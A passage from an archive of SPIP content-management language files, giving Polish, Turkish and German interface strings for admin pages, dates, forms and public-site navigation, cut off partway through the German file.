'texte_informations_personnelles_1' => 'System stworzy teraz spersonalizowany dostep do serwisu.',
'texte_informations_personnelles_2' => '(Informacja: jeśli jest to reinstalacja, a Twój dostęp wciąż działa, możesz', # MODIF
'texte_introductif_article' => '(Tekst wprowadzający do artykułu.)',
'texte_jeu_caractere' => 'Zaleca się używania uniwersalnego kodowania (<tt>utf-8</tt>), co pozwala na wyświetlanie tekstów we wszystkich językach i jest kompatybilne ze wszystkimi współczesnymi przeglądarkami.',
'texte_jeu_caractere_2' => 'Uwaga: te ustawienia nie powodują konwersji tekstów już zapisanych w bazie danych.',
'texte_jeu_caractere_3' => 'Twoja strona pracuje obecnie w kodowaniu :',
'texte_jeu_caractere_4' => 'Jeśli to nie odpowiada aktualnemu kodowaniu Twoich danych (np. po odtworzeniu bazy danych), lub jeśli <em>uruchamiasz stronę</em> i chcesz ustamić inne kodowanie, wpisz je tutaj:',
'texte_jeu_caractere_conversion' => 'Wskazówka : możesz chcieć przekonwertować swoje dane z całego serwisu (artykuły, aktualności, fora, itd) na kodowanie <tt>utf-8</tt>, udając się na <a href="@url@"> stronę konwertera utf-8</a>.',
'texte_lien_hypertexte' => '(Jeśli Twoja wiadomość odnosi się do jakiegoś artykułu opublikowanego w internecie, albo do strony, na której można znaleźć dodatkowe informacje, wpisz tytuł strony i jej adres URL.)',
'texte_login_ldap_1' => '(Pozostaw puste przy dostępie anonimowym, lub wpisz pełną ścieżkę, np. « <tt>uid=dupont, ou=users, dc=mon-domaine, dc=com</tt> ».)',
'texte_login_precaution' => 'Uwaga ! To jest login, z którego pomocą jesteś teraz połączony.
Używaj tego formularza ostrożnie...',
'texte_message_edit' => 'Ostrzeżenie: ta wiadomość może być zmieniana przez wszystkich administratorów strony i jest widoczna dla wszystkich redaktorów. Używaj zawiadomień jedynie, aby podkreślić ważne wydarzenia w życiu strony.',
'texte_messagerie_agenda' => 'System komunikacji umożliwia autorów na tej stronie do bezpośredniego komunikowania się na terenie prywatnym. Jest to związane z kalendarzem.',
'texte_mise_a_niveau_base_1' => 'Właśnie zaktualizowałeś pliki SPIP.
Teraz należy uaktualnić bazę danych
Twojego serwisu.',
'texte_modifier_article' => 'Edytuj artykuł',
'texte_moteur_recherche_active' => '<b>Wyszukiwarka jest włączona</b> Użyj tego polecenia
jeśli życzysz sobie szybkiej reindeksacji (np. po odtworzeniu
kopii bezpieczeństwa). Pamiętaj, że dokumenty zmodyfikowane
w normalny sposób (za pomocą interfejsu SPIP) są automatycznie reindeksowane : dlatego to polecenie jest rzadko stosowane.',
'texte_moteur_recherche_non_active' => 'Wyszukiwarka nie jest włączona.',
'texte_multilinguisme' => 'Jeśli planujesz edytować artykuły w wielu językach, ze złożoną nawigacją, możesz dołożyć do artykułu lub działu, menu wyboru języka, jako element organizacyjny Twojej strony.', # MODIF
'texte_multilinguisme_trad' => 'Możesz także włączyć system zarządzania linkami pomiędzy przekładami artykułów.', # MODIF
'texte_non_compresse' => '<i>nie skompresowany</i> (twój serwer nie posiada tej funkcji)',
'texte_nouveau_message' => 'Nowa wiadomość',
'texte_nouvelle_version_spip_1' => 'Nowa wersja SPIP została zainstalowana.',
'texte_nouvelle_version_spip_2' => 'Nowa wersja wymaga bardziej kompletnego dostosowania niż zwykle. Jeśli jesteś administratorem strony wykasuj plik @connect@ z katalogu <tt>ecrire</tt> i powtórz instalację w celu uaktualnienia Twoich parametrów połączenia z bazą danych .<p> (NB. : jeśli zapomniałeś parametry połączenia, rzuć okiem do pliku @connect@ zanim go skasujesz...)', # MODIF
'texte_operation_echec' => 'Powróć do poprzedniej strony, wybierz inną bazę danych lub stwórz nową. Sprawdź informacje podane przez twój serwis hostingowy.',
'texte_plus_trois_car' => 'więcej niż 3 znaki',
'texte_plusieurs_articles' => 'Kilku autorów zostało znalezionych dla "@cherche_auteur@":',
'texte_port_annuaire' => '(Wartość podana domyślnie zwykle pasuje .)',
'texte_presente_plugin' => 'Oto jest lista dostępnych rozszerzeń (pluginów). Możesz aktywować te rozszerzenia, których potrzebujesz, zaznaczając odpowiednie pole.',
'texte_proposer_publication' => 'Gdy Twój artykuł jest ukończony,<br /> możesz zatwierdzić go do publikacji.',
'texte_proxy' => 'W niektórych przypadkach (intranet, sieci chronione...),
może zajść konieczność wykorzystania <i>proxy HTTP</i> aby dostać się do stron zrzeszonych.
W innym przypadku, wpisz poniżej adres takiej strony, w postaci
<tt><html>http://proxy:8080</html></tt>. Zwykle,
to pole pozostaje wolne.',
'texte_publication_articles_post_dates' => 'Jak powinien zachowywać się SPIP odnośnie artykułów,
których data jest zaplanowana na
przyszłość ?',
'texte_rappel_selection_champs' => '[Nie zapomnij wybrać poprawnych pól.]',
'texte_recalcul_page' => 'Jeśli chcesz
odświeżyć tylko jedną stronę, zrób to z obszaru publicznego, używając przycisku « odśwież ».',
'texte_recapitiule_liste_documents' => 'Ta strona wyświetla w postaci listy dokumenty które umieściłeś w działach. Aby zmienić informacje o danym dokumencie, kliknij na łącze prowadzące do strony danego działu.',
'texte_recuperer_base' => 'Napraw bazę danych',
'texte_reference_mais_redirige' => 'linki z artykułów w twoim serwisie SPIP, przekierowujące do innych URL-i.',
'texte_requetes_echouent' => '<b>Jeśli pewne zapytania SQL nie udają się
regularnie i bez widocznego powodu, możliwe jest
że powodem tego jest baza danych</b><p>
SQL ma możliwość naprawy poszczególnych tabel
jeśli przez przypadek zostały uszkodzone.
Możesz spróbować naprawić je tutaj ; jeśli jednak nie powiedzie się taka operacja,
zachcowaj kopię wyświetlanego komunikatu, ponieważ może on zawierać wskazówki w czym tkwi poroblem.
<p> Jeśli problem będzie się pojawiał często skontaktuj się z administratorem Twojego serwera.', # MODIF
'texte_selection_langue_principale' => 'Możesz poniżej wybrać « główny język » serwisu. Ten wybór nie zmusza Cię - na szczęście ! - do pisania artykułów w wybranym języku, ale pozwala określić :
<ul><li> domyślny format dat na stronach publicznych ;</li>
<li> rodzaj kodowania tekstu, który ma używać SPIP ;</li>
<li> język używany wa formularzach stron publicznych ;</li>
<li> oraz język używany domyślnie w strefie prywatnej.</li></ul>',
'texte_sous_titre' => 'Podtytuł',
'texte_statistiques_visites' => '(ciemny pasek : niedziela / ciemna krzywa : rozwój średniej)',
'texte_statut_attente_validation' => 'w trakcie zatwierdzania',
'texte_statut_publies' => 'opublikowany online',
'texte_statut_refuses' => 'odrzucony',
'texte_suppression_fichiers' => 'Używaj tego polecenia gdy chcesz usunąć wszystkie pliki zapisane
w cache SPIP. Pozwoli to na odświeżenie wszystkich stron, jeśli dokonaliści poważniejszych modyfikacji w układzie graficznym lub strukturze strony.',
'texte_sur_titre' => 'Nadtytuł',
'texte_table_ok' => ': ta tabela działa poprawnie.',
'texte_tables_indexation_vides' => 'Tabele indeksowania wyszukiwarki są puste.',
'texte_tentative_recuperation' => 'Próba naprawy',
'texte_tenter_reparation' => 'Spróbuj naprawić bazę danych',
'texte_test_proxy' => 'Aby wypróbować proxy, wpisz tutaj adres strony internetowej
którą chcesz przetestować.',
'texte_titre_02' => 'Temat:',
'texte_titre_obligatoire' => '<b>Tytuł</b> [Obowiązkowo]',
'texte_travail_article' => '@nom_auteur_modif@ pracował nad tym artykułem @date_diff@ minut temu',
'texte_travail_collaboratif' => 'Jeśli często zdarza się, że kilku redaktorów
pracuje nad tym samym artykułem, system
może wyświetlić artykuły ostatnio « otwarte »
aby uniknąć jednoczesnego edytowania.
Domyślnie ta opcja jest wyłączona
w celu wyeliminowania niepotrzebnych komunikatów.',
'texte_trop_resultats_auteurs' => 'Zbyt dużo rezultatów dla "@cherche_auteur@" ; spróbuj sprecyzować kryteria wyszukiwania.',
'texte_unpack' => 'ściąganie najnowszej wersji',
'texte_utilisation_moteur_syndiques' => 'Jeśli korzystasz z wyszukiwarki zintegrowanej ze SPIP, możesz dokonywać przeszukiwania
dołączonych artykułów na dwa sposoby.
<br />- Najprostszy
polega na wyszukiwaniu jedynie
w tytułach i skrótach artykułów. <br />-
Druga, o wiele potężniejsza metoda, pozwala
SPIP w tekstach stron, których linki są dołączone . Jeśli
zatem dołączacie link do jakiejś strony, SPIP dokona automatycznie
wyszukiwania w dołączonej stronie.', # MODIF
'texte_utilisation_moteur_syndiques_2' => 'Ta metoda sprawia, że SPIP musi
regularnie odwiedzać strony, których linki są dołączone,
co może spowodować lekkie spowolnienie Twojej strony.',
'texte_vide' => 'pusty',
'texte_vider_cache' => 'Opróżnij cache',
'titre_admin_effacer' => 'Konserwacja techniczna',
'titre_admin_tech' => 'Konserwacja techniczna',
'titre_admin_vider' => 'Konserwacja techniczna',
'titre_ajouter_un_auteur' => 'Dodaj autora',
'titre_ajouter_un_mot' => 'Dodaj słowo kluczowe',
'titre_ajouter_une_rubrique' => 'Dodaj sekcję',
'titre_cadre_afficher_article' => 'Pokaż artykuły:',
'titre_cadre_afficher_traductions' => 'Wyświetl stan przekładów dla następujących języków:',
'titre_cadre_ajouter_auteur' => 'DODAJ ARTYKUŁY:',
'titre_cadre_interieur_rubrique' => 'Artykuł znajduje się w dziale',
'titre_cadre_numero_auteur' => 'AUTOR NUMER',
'titre_cadre_numero_objet' => '@objet@ NUMBER:',
'titre_cadre_signature_obligatoire' => '<b>Podpis</b> [Obowiązkowo]<br />',
'titre_config_contenu_notifications' => 'Powiadomienia',
'titre_config_contenu_prive' => 'W prywatnym miejscu',
'titre_config_contenu_public' => 'Na stronie publicznej',
'titre_config_fonctions' => 'Konfiguracja strony',
'titre_config_langage' => 'Konfiguracja języka',
'titre_configuration' => 'Konfiguracja strony',
'titre_configurer_preferences' => 'Skonfiguruj swoje preferencje',
'titre_conflit_edition' => 'Konflikt podczas edycji',
'titre_connexion_ldap' => 'Opcje: <b>Twoje połączenie LDAP</b>',
'titre_groupe_mots' => 'GRUPY SŁÓW KLUCZOWYCH:',
'titre_identite_site' => 'Tożsamość strony',
'titre_langue_article' => 'JĘZYK ARTYKUŁU', # MODIF
'titre_langue_rubrique' => 'JĘZYK DZIAŁU', # MODIF
'titre_langue_trad_article' => 'JĘZYK I TŁUMACZENIA ARTYKUŁU',
'titre_les_articles' => 'ARTYKUŁY',
'titre_messagerie_agenda' => 'System komunikacji i kalendarz',
'titre_naviguer_dans_le_site' => 'Przeglądaj stronę...',
'titre_nouvelle_rubrique' => 'Nowy dział',
'titre_numero_rubrique' => 'DZIAŁ NUMER :',
'titre_page_admin_effacer' => 'Konserwacja techniczna : wyczyść bazę',
'titre_page_articles_edit' => 'Edytuj: @titre@',
'titre_page_articles_page' => 'Artykuły',
'titre_page_articles_tous' => 'Cała strona',
'titre_page_auteurs' => 'Odwiedzający',
'titre_page_calendrier' => 'Kalendarz @nom_mois@ @annee@',
'titre_page_config_contenu' => 'Konfiguracja strony',
'titre_page_config_fonctions' => 'Konfiguracja strony',
'titre_page_configuration' => 'Konfiguracja strony',
'titre_page_controle_petition' => 'Archiwum ogłoszeń',
'titre_page_delete_all' => 'całkowite i nieodwracalne usunięcie',
'titre_page_documents_liste' => 'Załączniki',
'titre_page_index' => 'Twój obszar prywatny',
'titre_page_message_edit' => 'Napisz wiadomość',
'titre_page_messagerie' => 'Twoje wiadomości',
'titre_page_recherche' => 'Wyniki wyszukiwania @recherche@',
'titre_page_statistiques_referers' => 'Statystyki (linki wchodzące)',
'titre_page_statistiques_signatures_jour' => 'Pospisy przeliczane dziennie',
'titre_page_statistiques_signatures_mois' => 'Pospisy przeliczane miesięcznie',
'titre_page_upgrade' => 'Dostosowanie SPIP',
'titre_publication_articles_post_dates' => 'Publikacja post-datowanych artykułów',
'titre_referencer_site' => 'Dodaj link do strony :',
'titre_rendez_vous' => 'SPOTKANIA:',
'titre_reparation' => 'Napraw',
'titre_suivi_petition' => 'Archiwum ogłoszeń',
'tls_ldap' => 'Transport Layer Security :',
'trad_article_inexistant' => 'Nie ma artykułu o tym numerze.',
'trad_article_traduction' => 'Wszystkie wersje tego artykułu:',
'trad_deja_traduit' => 'Błąd: nie można połączyć tego artykułu z wybranym numerem.',
'trad_delier' => 'Nie łączyć artykułu z tym przekładem', # MODIF
'trad_lier' => 'Ten artykuł jest przekładem artykułu numer',
'trad_new' => 'Napisz nowe tłumaczenie artykułu', # MODIF
// U
'upload_info_mode_document' => 'Umieść to zdjęcie w portfelu',
'upload_info_mode_image' => 'Usuń ten plik z portfela',
'utf8_convert_attendez' => 'Poczekaj chwilę i odśwież stronę.',
'utf8_convert_avertissement' => 'Zamierzasz przekonwertować zawartość Twojej bazy danych (artykuły, aktualności, etc.) z kodowania <b>@orig@</b> na kodowanie <b>@charset@</b>.',
'utf8_convert_backup' => 'Nie zapomnij wykonać wcześniej kopii bezpieczeństwa Twojej strony. Powinieneś także zweryfikować czy Twoje szkielety i pliki językowe są zgodne z @charset@. W innym wypadku przegląd zmian - jeśli jest aktywny - zostanie zniszczony.',
'utf8_convert_erreur_deja' => 'Twoja strona już jest w kodowaniu @charset@, nie ma potrzeby konwertowania...',
'utf8_convert_erreur_orig' => 'Błąd : kodowanie @charset@ nie jest wspierane.',
'utf8_convert_termine' => 'Zakończone !',
'utf8_convert_timeout' => '<b>Ważne :</b> w przypadu <i>timeout</i> serwera, odśwież stronę aż wyświetlenia się "Zakończone".',
'utf8_convert_verifier' => 'Teraz powineneś opróżnić CACHE i sprawdzić, czy wszystko przebiegło dobrze. W przypadku jakichkolwiek problemów pamiętaj, że zawsze masz w odwodzie kopię bazy dancyh (w formacie SQL) w katalogu @rep@.',
'utf8_convertir_votre_site' => 'Konwertuj stronę na utf-8.',
// V
'version' => 'Wersja :'
);
?>
public_tr.php 0000666 00000007262 15252547432 0007264 0 ustar 00 <?php
// This is a SPIP language file -- Ceci est un fichier langue de SPIP
// extrait automatiquement de http://trad.spip.net/tradlang_module/public?lang_cible=tr
// ** ne pas modifier le fichier **
if (!defined('_ECRIRE_INC_VERSION')) return;
$GLOBALS[$GLOBALS['idx_lang']] = array(
// A
'accueil_site' => 'Ana sayfa', # MODIF
'articles' => 'Makaleler',
'articles_auteur' => 'Bu yazarın makaleleri',
'articles_populaires' => 'En popüler makaleler',
'articles_rubrique' => 'Bu bölümün makaleleri',
'aucun_article' => 'Bu adreste makale yok',
'aucun_auteur' => 'Bu adreste yazar yok',
'aucun_site' => 'Bu adreste site yok',
'aucune_breve' => 'Bu adreste kısa haber yok',
'aucune_rubrique' => 'Bu adreste bölüm yok',
'autres' => 'Diğer',
'autres_breves' => 'Diğer kısa haberler',
'autres_groupes_mots_clefs' => 'Diğer anahtar sözcük grupları',
'autres_sites' => 'Diğer siteler',
// B
'bonjour' => 'Merhaba',
// C
'commenter_site' => 'Bu siteye yorum ekle',
'copie_document_impossible' => 'Belgeyi kopyalamak olanaksız',
// D
'date' => 'Tarih',
'dernier_ajout' => 'Son eklenen',
'dernieres_breves' => 'Son eklenen kısa haberler',
'derniers_articles' => 'Son eklenen makaleler',
'derniers_commentaires' => 'Son eklenen yorumlar',
'derniers_messages_forum' => 'Forumlarda yayınlanan son mesajlar',
// E
'edition_mode_texte' => 'Metin şeklinde değiştir',
'en_reponse' => 'Yanıttır :',
'en_resume' => 'Özet',
'envoyer_message' => 'Bir mesaj gönder',
'espace_prive' => 'Özel alan',
// F
'formats_acceptes' => 'Kabûl edilen biçemler : @formats@.',
// H
'hierarchie_site' => 'Site hiyerarşisi',
// J
'jours' => 'gün',
// L
'lien_connecter' => 'Bağlan',
// M
'meme_auteur' => 'Aynı yazardan',
'meme_rubrique' => 'Aynı bölümde',
'memes_auteurs' => 'Aynı yazarlardan',
'message' => 'İleti',
'messages_forum' => 'Forum mesajları', # MODIF
'messages_recents' => 'Son forum mesajları',
'mots_clefs' => 'Anahtar sözcük',
'mots_clefs_meme_groupe' => 'Aynı grupta anahtar sözcük',
// N
'navigation' => 'Gezinti',
'nom' => 'Soyadı',
'nouveautes' => 'Yenilikler',
'nouveautes_web' => 'Web’deki yenilikler',
'nouveaux_articles' => 'Yeni makaleler',
'nouvelles_breves' => 'Yeni kısa haberler',
// P
'page_precedente' => 'önceki sayfa',
'page_suivante' => 'sonraki sayfa',
'par_auteur' => 'yazan',
'participer_site' => 'Bu siteye katkıda bulunabilir ve aşağıya kayıt olarak kendi makalelerinizi önerebilirsiniz. Bu durumda hemen sitenin özel alanına girmenizi sağlayacak kodları içeren bir mesaj alırsınız.',
'plan_site' => 'Site planı',
'popularite' => 'Popülerlik',
'poster_message' => 'Bir mesaj gönder',
'proposer_site' => 'Bu bölüme eklenecek bir site önerebilirsiniz :',
// R
'repondre_article' => 'Bu makaleyi yanıtla',
'repondre_breve' => 'Bu kısa haberi yanıtla',
'resultats_recherche' => 'Arama sonuçları',
'retour_debut_forums' => 'Forumların başına dön',
'rubrique' => 'Bölüm',
'rubriques' => 'Bölümler',
// S
'signatures_petition' => 'İmzalar',
'site_realise_avec_spip' => 'SPIP ile gerçekleştirilmiş site',
'sites_web' => 'web sitesi',
'sous_rubriques' => 'Alt-bölümler',
'spam' => 'Spam',
'suite' => 'devamı',
'sur_web' => 'Web’de',
'syndiquer_rubrique' => 'Bu bölümü paylaş',
'syndiquer_site' => 'Tüm siteyi paylaş',
// T
'texte_lettre_information' => 'Sitenin bilgilendirme mektubu',
'texte_lettre_information_2' => 'Bu mektup belirtilen tarihten beri eklenen makale ve kısa haberleri listeler', # MODIF
// V
'ver_imprimer' => 'Basılacak sürüm',
'voir_en_ligne' => 'Çevrimiçi görüntüle',
'voir_squelette' => 'bu sayfanın iskeletini göster'
);
?>
spip_de.php 0000666 00000112604 15252547432 0006721 0 ustar 00 <?php
// This is a SPIP language file -- Ceci est un fichier langue de SPIP
// extrait automatiquement de http://trad.spip.net/tradlang_module/spip?lang_cible=de
// ** ne pas modifier le fichier **
if (!defined('_ECRIRE_INC_VERSION')) return;
$GLOBALS[$GLOBALS['idx_lang']] = array(
// 0
'0_URL' => 'http://www.spip.net/de',
'0_langue' => 'Deutsch [de]',
'0_liste' => 'spip-de@rezo.net',
'0_mainteneur' => 'klaus@spip.de',
// A
'access_interface_graphique' => 'Zurück zur vollständigen grafischen Oberfläche',
'access_mode_texte' => 'vereinfachtes Interface als Textversion anzeigen',
'admin_debug' => 'Debug',
'admin_modifier_article' => 'Artikel bearbeiten',
'admin_modifier_auteur' => 'Autor bearbeiten',
'admin_modifier_breve' => 'Meldung bearbeiten',
'admin_modifier_mot' => 'Schlagwort bearbeiten',
'admin_modifier_rubrique' => 'Rubrik bearbeiten',
'admin_recalculer' => 'Seite aus Cache löschen',
'afficher_calendrier' => 'Kalender anzeigen',
'afficher_trad' => 'Übersetzungen anzeigen',
'alerte_maj_impossible' => '<b>Achtung!</b> Ihre SQL Datenbank konnte nicht auf die Version @version@ umgestellt werden. Möglicherweise gibt es ein Problem mit den Zugriffsrechten. Bitte setzen Sie sich mit Ihrem Webspace-Provider in Verbindung.',
'alerte_modif_info_concourante' => 'Achtung - diese Information wurde auf anderem Weg modifiziert. Der aktuelle Wert lautet:',
'analyse_xml' => 'XML-Analyse',
'annuler' => 'Abbrechen',
'antispam_champ_vide' => 'Bitte lassen Sie dieses Feld leer:',
'articles_recents' => 'Die neuesten Artikel',
'avis_archive_incorrect' => 'Die archivierte Datei ist keine SPIP-Datei',
'avis_archive_invalide' => 'Die archivierte Datei ist keine SPIP-Datei',
'avis_attention' => 'ACHTUNG!',
'avis_champ_incorrect_type_objet' => 'Falscher Objektname @name@ für Objekt vom Typ @type@',
'avis_colonne_inexistante' => 'Die Spalte @col@ existiert nicht',
'avis_erreur' => 'Fehler: Siehe unten',
'avis_erreur_connexion' => 'Verbindungsfehler',
'avis_erreur_cookie' => 'Cookie-Problem',
'avis_erreur_fonction_contexte' => 'Programmfehler. Diese Funktion darf nicht in diesem Zusammenhang aufgerufen werden.',
'avis_erreur_mysql' => 'SQL-Fehler',
'avis_erreur_sauvegarde' => 'Fehler in der Sicherung (@type@ @id_objet@) ! ',
'avis_erreur_visiteur' => 'Ein Problem beim Zugang zum Redaktionssystem ist aufgetreten.',
// B
'barre_a_accent_grave' => 'Grosses A mit accent grave einfügen',
'barre_aide' => 'Verwende Sie die typografischen Kürzel, um Ihre Seite zu formatieren.',
'barre_e_accent_aigu' => 'Grosses E mit accent aigu einfügen',
'barre_eo' => 'Ein E in das O einfügen',
'barre_eo_maj' => 'Ein E in ein grosses O einfügen',
'barre_euro' => 'Symbol € einfügen',
'barre_gras' => '{{fett}} setzen',
'barre_guillemets' => 'In „Anführungszeichen“ setzen',
'barre_guillemets_simples' => 'In ‚Anführungszeichen‘ setzen',
'barre_intertitre' => 'in {{{Zwischentitel}}} umwandeln',
'barre_italic' => 'in {kursive} Schrift setzen',
'barre_lien' => 'in [Hyperlink->http://...] umwandeln',
'barre_lien_input' => 'Bitte geben Sie die Adresse Ihres Links an. Sie können das Format http://www.meinewebsite.com wählen, oder einfach die Nummer eines Artikels dieser Website angeben.',
'barre_note' => 'In [[Fussnote]] umwandeln',
'barre_paragraphe' => 'Neuen Absatz anlegen',
'barre_quote' => '<quote>Nachricht zitieren</quote>',
'bouton_changer' => 'Ändern',
'bouton_chercher' => 'Suchen',
'bouton_choisir' => 'Auswählen',
'bouton_deplacer' => 'Verschieben',
'bouton_download' => 'Herunterladen',
'bouton_enregistrer' => 'Speichern',
'bouton_radio_desactiver_messagerie_interne' => 'Interne Nachrichten abschalten',
'bouton_radio_envoi_annonces' => 'Editorische Ankündigungen verschicken',
'bouton_radio_non_envoi_annonces' => 'Keine Ankündigungen verschicken',
'bouton_radio_non_envoi_liste_nouveautes' => 'Keine Liste der Neuigkeiten verschicken',
'bouton_recharger_page' => 'Seite neu laden',
'bouton_telecharger' => 'Herunterladen',
'bouton_upload' => 'Hochladen',
'bouton_valider' => 'Bestätigen',
// C
'cal_apresmidi' => 'nachmittags',
'cal_jour_entier' => 'ganztägig',
'cal_matin' => 'morgens',
'cal_par_jour' => 'Tageskalender',
'cal_par_mois' => 'Monatskalender',
'cal_par_semaine' => 'Wochenkalender',
'choix_couleur_interface' => 'Farbe',
'choix_interface' => 'Oberflächenfarbe',
'colonne' => 'Spalte',
'confirm_changer_statut' => 'Achtung, Sie werden den Status dieses Elementes ändern. Wollen Sie fortfahren?',
'correcte' => 'korrekt',
// D
'date_aujourdhui' => 'heute',
'date_avant_jc' => 'v.u.Z.',
'date_dans' => 'in @delai@',
'date_de_mois_1' => '@j@ @nommois@',
'date_de_mois_10' => '@j@ @nommois@',
'date_de_mois_11' => '@j@ @nommois@',
'date_de_mois_12' => '@j@ @nommois@',
'date_de_mois_2' => '@j@ @nommois@',
'date_de_mois_3' => '@j@ @nommois@',
'date_de_mois_4' => '@j@ @nommois@',
'date_de_mois_5' => '@j@ @nommois@',
'date_de_mois_6' => '@j@ @nommois@',
'date_de_mois_7' => '@j@ @nommois@',
'date_de_mois_8' => '@j@ @nommois@',
'date_de_mois_9' => '@j@ @nommois@',
'date_demain' => 'morgen',
'date_fmt_heures_minutes' => '@h@ Uhr @m@ Minuten',
'date_fmt_heures_minutes_court' => '@h@:@m@',
'date_fmt_jour' => '@nomjour@ @jour@',
'date_fmt_jour_heure' => '@jour@ um @heure@',
'date_fmt_jour_heure_debut_fin' => 'am @jour@ von @heure_debut@ bis @heure_fin@',
'date_fmt_jour_heure_debut_fin_abbr' => 'am @dtstart@@jour@ von @heure_debut@@dtabbr@ bis @dtstart@@heure_fin@@dtend@',
'date_fmt_jour_mois' => '@jour@. @nommois@',
'date_fmt_jour_mois_annee' => '@jour@. @nommois@ @annee@',
'date_fmt_mois_annee' => '@nommois@ @annee@',
'date_fmt_nomjour' => '@nomjour@ @date@.',
'date_fmt_nomjour_date' => 'am @nomjour@ @date@',
'date_fmt_periode' => 'Vom @date_debut@ bis zum @date_fin@',
'date_fmt_periode_abbr' => 'Vom @dtart@@date_debut@@dtabbr@ bis zum @dtend@@date_fin@@dtabbr@',
'date_fmt_periode_from' => 'Von',
'date_fmt_periode_to' => 'bis',
'date_heures' => 'Stunden',
'date_hier' => 'gestern',
'date_il_y_a' => 'vor @delai@',
'date_jnum1' => '1',
'date_jnum10' => '10',
'date_jnum11' => '11',
'date_jnum12' => '12',
'date_jnum13' => '13',
'date_jnum14' => '14',
'date_jnum15' => '15',
'date_jnum16' => '16',
'date_jnum17' => '17',
'date_jnum18' => '18',
'date_jnum19' => '19',
'date_jnum2' => '2',
'date_jnum20' => '20',
'date_jnum21' => '21',
'date_jnum22' => '22',
'date_jnum23' => '23',
'date_jnum24' => '24',
'date_jnum25' => '25',
'date_jnum26' => '26',
'date_jnum27' => '27',
'date_jnum28' => '28',
'date_jnum29' => '29',
'date_jnum3' => '3',
'date_jnum30' => '30',
'date_jnum31' => '31',
'date_jnum4' => '4',
'date_jnum5' => '5',
'date_jnum6' => '6',
'date_jnum7' => '7',
'date_jnum8' => '8',
'date_jnum9' => '9',
'date_jour_1' => 'Sonntag',
'date_jour_1_abbr' => 'So.',
'date_jour_1_initiale' => 'S',
'date_jour_2' => 'Montag',
'date_jour_2_abbr' => 'Mo.',
'date_jour_2_initiale' => 'M',
'date_jour_3' => 'Dienstag',
'date_jour_3_abbr' => 'Di.',
'date_jour_3_initiale' => 'D',
'date_jour_4' => 'Mittwoch',
'date_jour_4_abbr' => 'Mi.',
'date_jour_4_initiale' => 'M',
'date_jour_5' => 'Donnerstag',
'date_jour_5_abbr' => 'Do.',
'date_jour_5_initiale' => 'D',
'date_jour_6' => 'Freitag',
'date_jour_6_abbr' => 'Fr.',
'date_jour_6_initiale' => 'F',
'date_jour_7' => 'Sonnabend',
'date_jour_7_abbr' => 'Sa.',
'date_jour_7_initiale' => 'S',
'date_jours' => 'Tagen',
'date_minutes' => 'Minuten',
'date_mois' => 'Monaten',
'date_mois_1' => 'Januar',
'date_mois_10' => 'Oktober',
'date_mois_10_abbr' => 'Okt.',
'date_mois_11' => 'November',
'date_mois_11_abbr' => 'Nev.',
'date_mois_12' => 'Dezember',
'date_mois_12_abbr' => 'Dez.',
'date_mois_1_abbr' => 'Jan.',
'date_mois_2' => 'Februar',
'date_mois_2_abbr' => 'Feb.',
'date_mois_3' => 'März',
'date_mois_3_abbr' => 'Mrz.',
'date_mois_4' => 'April',
'date_mois_4_abbr' => 'Apr.',
'date_mois_5' => 'Mai',
'date_mois_5_abbr' => 'Mai',
'date_mois_6' => 'Juni',
'date_mois_6_abbr' => 'Jun.',
'date_mois_7' => 'Juli',
'date_mois_7_abbr' => 'Juli',
'date_mois_8' => 'August',
'date_mois_8_abbr' => 'Aug.',
'date_mois_9' => 'September',
'date_mois_9_abbr' => 'Sept.',
'date_saison_1' => 'Winter',
'date_saison_2' => 'Frühling',
'date_saison_3' => 'Sommer',
'date_saison_4' => 'unabhängig',
'date_secondes' => 'Sekunden',
'date_semaines' => 'Wochen',
'date_un_mois' => 'Monat',
'date_une_heure' => 'Stunde',
'date_une_minute' => 'Minute',
'date_une_seconde' => 'Sekunde',
'date_une_semaine' => 'Woche',
'dirs_commencer' => 'um die Installation wirklich zu starten',
'dirs_preliminaire' => 'Vorbereitung: <b>Berechtigungen einstellen</b>',
'dirs_probleme_droits' => 'Problem mit den Berechtigungen',
'dirs_repertoires_absents' => '<p><b>Folgende Verzeichnisse wurden nicht gefunden:</b></p><ul>@bad_dirs@</ul>
<p>Das liegt wahrscheinlich an unzutreffender Gross- und Kleinschreibung.
Überprüfen Sie bitte die genaue Schreibweise der oben stehenden Verzeichnisse,
sollten Sie Abweichungen feststellen, benennen Sie bitte mit Ihrem FTP-Programm die betreffenden Verzeichnisse um.</p>
<p>Danach können Sie ',
'dirs_repertoires_suivants' => '<p><b>In die folgenden Verzeichnisse kann nicht geschrieben werden:</b></p><ul>@bad_dirs@</ul>
<p>Um das Problem zu lösen, verwenden Sie bitte Ihren FTP-Client, um die Zugriffsrechte für diese
Verzeichnisse zu setzen.Die Installationsanleitung erläutert die Details dazu.</p>
<p>Wenn Sie diesen Vorgang abgeschlossen haben, können Sie',
'double_occurrence' => 'Dublette von @balise@',
// E
'en_cours' => 'läuft',
'envoi_via_le_site' => 'Gesendet über Website ',
'erreur' => 'Fehler',
'erreur_balise_non_fermee' => 'Letzter Tag nicht geschlossen:',
'erreur_technique_enregistrement_champs' => 'Das Feld @champs@ konnte aufgrund eines technischen Problems nicht gespeichert werden.',
'erreur_technique_enregistrement_impossible' => 'Technisches Prolem: Speichern nicht möglich.',
'erreur_texte' => 'Fehler',
'etape' => 'Schritt',
// F
'fichier_introuvable' => 'Datei @fichier@ unauffindbar',
'form_auteur_confirmation' => 'Bestätigen Sie Ihre Mailadresse',
'form_auteur_email_modifie' => 'Ihre Mailadresse wurde geändert.',
'form_auteur_envoi_mail_confirmation' => 'Eine Mail wurde an @email@ gesendet. Sie müssen auf den in ihr angegebenen Link klicken, um die Korrektheit Ihrer Adresse zu bestätigen.',
'form_auteur_mail_confirmation' => 'Hallo,
Sie möchten Ihre Mail-Adresse ändern.Um Ihre neue Adresse zu bestätigen,
brauchen Sie nur diesen Link zu öffnen (wenn Sie darauf verzichten,
wird Ihre Adresse beibehalten):
@url@
',
'form_deja_inscrit' => 'Sie sind bereits eingetragen.',
'form_email_non_valide' => 'Ihre E-Mail-Adresse ist ungültig.',
'form_forum_access_refuse' => 'Sie haben keinen Zugang mehr zu dieser Website.',
'form_forum_bonjour' => 'Hallo @nom@,',
'form_forum_confirmer_email' => 'Bitte öffnen sie folgenden URL zum Bestätigen ihrer Mailadresse: @url_confirm@',
'form_forum_email_deja_enregistre' => 'Diese E-Mail-Adresse ist bereits eingetragen. Sie können also Ihr normals Passwort verwenden.',
'form_forum_identifiant_mail' => 'Ihre neuen Zugangsdaten wurden Ihnen per Mail zugestellt.',
'form_forum_identifiants' => 'Persönliche Zugangsdaten',
